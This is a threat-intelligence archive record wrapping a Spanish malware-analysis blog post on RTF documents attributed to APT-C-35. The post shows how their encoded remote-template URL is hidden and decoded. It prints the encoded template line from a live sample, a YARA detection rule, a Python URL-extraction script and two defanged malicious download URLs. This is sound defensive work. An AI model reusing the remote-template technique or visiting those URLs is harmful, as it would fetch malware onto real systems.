{
	"id": "9f359008-a004-4c52-ab6f-1dfb6956aa48",
	"created_at": "2026-04-06T01:31:28.754493Z",
	"updated_at": "2026-04-10T03:33:03.147604Z",
	"deleted_at": null,
	"sha1_hash": "87299eb1979ec2f868dab50fccba4f9807d7c8c0",
	"title": "Decodificando ficheros RTF maliciosos",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 651646,
	"plain_text": "Decodificando ficheros RTF maliciosos\r\nBy Rafa.Pedrero\r\nPublished: 2021-07-19 · Archived: 2026-04-06 00:46:42 UTC\r\nHola a tod@s!\r\nHace un par de meses vi este twitter, de la muestra, y me pareció interesante, entonces traté de automatizarlo y hoy\r\nlo comparto con vosotros :D\r\nEchemos un vistazo a la muestra:\r\nSolamente 4 antivirus lo detectaban entonces, a día de hoy, muchos más.\r\nhttps://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/\r\nPage 1 of 6\n\nSi nos fijamos en el comentario del analista, nos indica que en el “Template” está la URL maliciosa que se\r\ndescargará el malware que sea y lo ejecutará.\r\nPues vamos a buscar eso mismo.\r\n$ grep -ia -A 1 template PT6-1152.doc\r\n{\\*\\template\\u-65432?\\u-65420?\\u-65420?\\u-65424?\\u-65478?\\u-65489?\\u-65489?\\u-65431?\\u-65436?\\u-65427?\\u-65423?\\u-65419?\\u-65431?\\u-65437?\\u-65429?\\u-65490?\\u-65416?\\u-65415?\\u-65414?\\u-65489?\\u-65430?\\u-65439?\\u-65437?\\u-65429?\\u-65489?\\u-65463?\\u-65418?\\u-65465?\\u-65454?\\u-65426?\\u-65459?\\u-65431?\\u-65468?\\u-65414?\\u-65433?\\u-65436?\\u-65435?\\u-65422?\\u-65455?\\u-65455?\\u-65420?\\u-65435?\\u-65423?\\u-65458?\\u-65430?\\u-65458?\\u-65433?\\u-65461?\\u-65425?\\u-65463?\\u-65447?\\u-65423?\\u-65439?\\u-65460?\\u-65449?\\u-65482?\\u-65469?\\u-65490?\\u-65436?\\u-65425?\\u-65420?}\\ltrpar\r\n\\sectd\\ltrsect\\linex0\\endnhere\\sectlinegrid360\\sectdefaultcl\\sftnbj\r\n{\\*\\pnseclvl1\\pnucrm\\pnstart1\\pnindent720\\pnhang {\\pntxta .}}{\\*\\pnseclvl2\r\n$ grep -ia IvGRnMiDzgderQQteqNjNgKoIYqaLW6C.dot PT6-1152.doc | wc -l\r\n0\r\nSegún acabamos de ver, “template” se encuentra en el fichero, pero la url no aparece por ningún sitio.\r\nAlgunos ya habréis adivinado que eso que veíamos justo después de template, correspondía con la url que aparece\r\nen Virus Total.\r\nEntonces, tenemos el siguiente texto que hay que “traducir” a “http://...”.\r\n\\u-65432?\\u-65420?\\u-65420?\\u-65424?\\u-65478?\\u-65489?\\u-65489?\\u-65431?\\u-65436?\\u-65427?\\u-65423?\r\n\\u-65419?\\u-65431?\\u-65437?\\u-65429?\\u-65490?\\u-65416?\\u-65415?\\u-65414?\\u-65489?\\u-65430?\\u-65439?\\u-65437?\\u-65429?\\u-65489?\\u-65463?\\u-65418?\\u-65465?\\u-65454?\\u-65426?\\u-65459?\\u-65431?\\u-65468?\\u-65414?\\u-65433?\\u-65436?\\u-65435?\\u-65422?\\u-65455?\\u-65455?\\u-65420?\\u-65435?\\u-65423?\\u-65458?\\u-https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/\r\nPage 2 of 6\n\n65430?\\u-65458?\\u-65433?\\u-65461?\\u-65425?\\u-65463?\\u-65447?\\u-65423?\\u-65439?\\u-65460?\\u-65449?\\u-65482?\\u-65469?\\u-65490?\\u-65436?\\u-65425?\\u-65420?\r\nSi esto es la url (como nos podemos imaginar), el primer valor tendría que ser la h, el segundo la t, el tercero otra\r\nt, el cuarto la p y así sucesivamente hasta completar lo que habíamos visto. Podemos seguir el siguiente ejemplo:\r\n\"h\" == 0x0068 == -(-0x0068) == -(0xFFFF+1-0x68) == -65432=\\u-65432?\r\n\"t\" == 0x0074 == -(-0x0074) == -(0xFFFF+1-0x74) == -65420=\\u-65420?\r\n\"p\" == 0x0070 == -(-0x0070) == -(0xFFFF+1-0x70) == -65424=\\u-65424?\r\nNos crearemos un sencillo script en Python para automatizar esa conversión y obtener la url. Pero antes, siempre\r\nme gusta poder detectar este tipo de documentos con reglas Yara.\r\nSolamente tendremos en cuenta una serie de cosas, debe ser un fichero RTF, por lo que comprobaremos la\r\ncabecera del mismo para que sea así.\r\nY debe estar codificado de la forma que hemos visto, justo después de template.\r\nPor lo tanto, esta sería nuestra regla Yara:\r\nrule RTF_apt_c_35\r\n{\r\nmeta:\r\ndate = \"2021-7-10\"\r\nauthor = \"by Rafa\"\r\nstrings:\r\n$rtf = { 7B 5C 72 74 }\r\n$template = { 7B 5C 2A 5C 74 65 6D 70 6C 61 74 65 20 0D 0A 5C 75 2D ?? ?? ?? ?? ?? 3F 5C 75 2D ?? ??\r\n?? ?? ?? 3F 5C 75 2D ?? ?? ?? ?? ?? 3F 5C 75 2D ?? ?? ?? ?? ?? 3F 5C 75 2D ?? ?? ?? ?? ?? 3F 5C 75 2D\r\n?? ?? ?? ?? ?? 3F 5C 75 2D ?? ?? ?? ?? ?? 3F 5C 75 2D ?? ?? ?? ?? ?? 3F 5C 75 2D ?? ?? ?? ?? ?? 3F 5C\r\n75 2D ?? ?? ?? ?? ?? 3F 5C 75 2D ?? ?? ?? ?? ?? 3F 5C 75 2D ?? ?? ?? ?? ?? 3F 5C 75 2D ?? ?? ?? ?? ??\r\n3F 5C 75 2D ?? ?? ?? ?? ?? 3F 5C 75 2D ?? ?? ?? ?? ?? 3F 5C 75 2D ?? ?? ?? ?? ?? 3F 5C 75 2D ?? ?? ??\r\n?? ?? 3F 5C 75 2D ?? ?? ?? ?? ?? 3F}\r\ncondition:\r\n$rtf at 0 nd $template\r\n}\r\nhttps://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/\r\nPage 3 of 6\n\nComprobamos que funciona:\r\n$ yara RTF_apt-c-35.yar .\r\nRTF_apt_c_35 ./694d433a729b65993dae758e862077c2d82c92018e8e310e121e1fa051567dba-apt-c-35-PT6-\r\n1152.doc\r\nY ahora sí, pasemos al script.\r\n# -*- coding: utf-8 -*-\r\n#!/usr/bin/env python\r\nimport sys\r\nimport os\r\nimport re\r\nchars = r\"A-Za-z0-9/\\-:.,_$%'()[\\]\u003c\u003e \"\r\nshortest_run = 4\r\nregexp = '[%s]{%d,}' % (chars, shortest_run)\r\npattern = re.compile(regexp)\r\ndef info():\r\nprint (\"Extract URL from RTF malicious apt-c-35 files - by Rafa\")\r\nprint (\"You need an argument to filename, example: %s \u003cmalicious.rtf\u003e\" % sys.argv[0])\r\nsys.exit(1)\r\ndef notexist(filepath):\r\nprint (\"'%s' does not exist\" % filepath)\r\nsys.exit(1)\r\ndef invalidheader():\r\nprint (\"Invalid header, it's not a RTF file\")\r\nsys.exit(1)\r\ndef invalidtemplate():\r\nprint (\"Invalid template document, it's not a RTF malicious apt-c-35 file\")\r\nsys.exit(1)\r\ndef check(myval):\r\n# \"h\" == 0x0068 == -(-0x0068) == -(0xFFFF+1-0x68) == -65432=\\u-65432?\r\nvalue = myval - 0xFFFF - 1\r\nreturn chr(abs(value))\r\ndef checkheader(filepath):\r\nf = open(filepath,'rb')\r\ns = f.read(4)\r\nf.close()\r\nhttps://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/\r\nPage 4 of 6\n\nif '\\x7b\\x5c\\x72\\x74' in s:\r\nreturn True\r\nelse:\r\nreturn False\r\ndef checktemplate(stream):\r\ntry:\r\ndata = stream.decode()\r\nif \"\\\\template \" in data:\r\nreturn True\r\nelse:\r\nreturn False\r\nexcept:\r\nprint ('Something wrong in check template!')\r\nreturn False\r\ndef process(stream):\r\ndata = stream.decode()\r\nreturn pattern.findall(data)\r\nif __name__ == \"__main__\":\r\nif len(sys.argv) != 2:\r\ninfo()\r\npath = sys.argv[1]\r\nif os.path.exists(path):\r\nif checkheader(path) == False:\r\ninvalidheader()\r\nmyres = ''\r\nwith open(path, mode='rb') as file:\r\nfileContent = file.read()\r\nif checktemplate(fileContent) == False:\r\ninvalidtemplate()\r\nfor found_str in process(fileContent):\r\nif re.match(r'^u-[0-9]{5}', found_str):\r\nsvalue = found_str.replace('u-','')\r\nsvalue = int(svalue)\r\nres = str(check(svalue))\r\nmyres = myres + res\r\nif ((myres != '') and ('http' in myres)):\r\nprint ('[+] path: ' + path)\r\nhttps://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/\r\nPage 5 of 6\n\nprint ('[+] url: ' + myres)\r\nelse:\r\ninvalidtemplate()\r\nelse:\r\nnotexist(path)\r\nComprobemos la salida con el fichero mencionado en el artículo.\r\n$ python decoder_malicious_rtf_unicode_template.py PT6-1152.doc\r\n[+] path: PT6-1152.doc\r\n[+] url: hxxp://idmquick.xyz/jack/IvGRnMiDzgderQQteqNjNgKoIYqaLW6C.dot\r\nNota: he cambiado http por hxxp para evitar posibles accesos\r\nProbaremos con otro fichero.\r\n$ python decoder_malicious_rtf_unicode_template.py Defence\\ proposal\\ 2021-2022.doc\r\n[+] path: Defence proposal 2021-2022.doc\r\n[+] url: hxxp://worldfronts.xyz/jack/h9i341lDMiztxAqrWsaOwHfUkSrAFWuI.dot\r\nAquí tenemos otra url a la que hay que evitar acceder :D\r\nEspero que os haya gustado y hasta el próximo post!!!\r\nSource: https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/\r\nhttps://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "ES",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/"
	],
	"report_names": [
		"decodificando-ficheros-rtf-maliciosos"
	],
	"threat_actors": [
		{
			"id": "2ac63ef4-a7b8-4a30-96ad-b30ccb2073fc",
			"created_at": "2022-10-25T16:07:23.546262Z",
			"updated_at": "2026-04-10T02:00:04.651083Z",
			"deleted_at": null,
			"main_name": "Donot Team",
			"aliases": [
				"APT-C-35",
				"Mint Tempest",
				"Origami Elephant",
				"SectorE02"
			],
			"source_name": "ETDA:Donot Team",
			"tools": [
				"BackConfig",
				"EHDevel",
				"Jaca",
				"yty"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "cfdd350b-de30-4d29-bbee-28159f26c8c2",
			"created_at": "2023-01-06T13:46:38.433736Z",
			"updated_at": "2026-04-10T02:00:02.972971Z",
			"deleted_at": null,
			"main_name": "VICEROY TIGER",
			"aliases": [
				"OPERATION HANGOVER",
				"Donot Team",
				"APT-C-35",
				"SectorE02",
				"Orange Kala"
			],
			"source_name": "MISPGALAXY:VICEROY TIGER",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775439088,
	"ts_updated_at": 1775791983,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/87299eb1979ec2f868dab50fccba4f9807d7c8c0.pdf",
		"text": "https://archive.orkl.eu/87299eb1979ec2f868dab50fccba4f9807d7c8c0.txt",
		"img": "https://archive.orkl.eu/87299eb1979ec2f868dab50fccba4f9807d7c8c0.jpg"
	}
}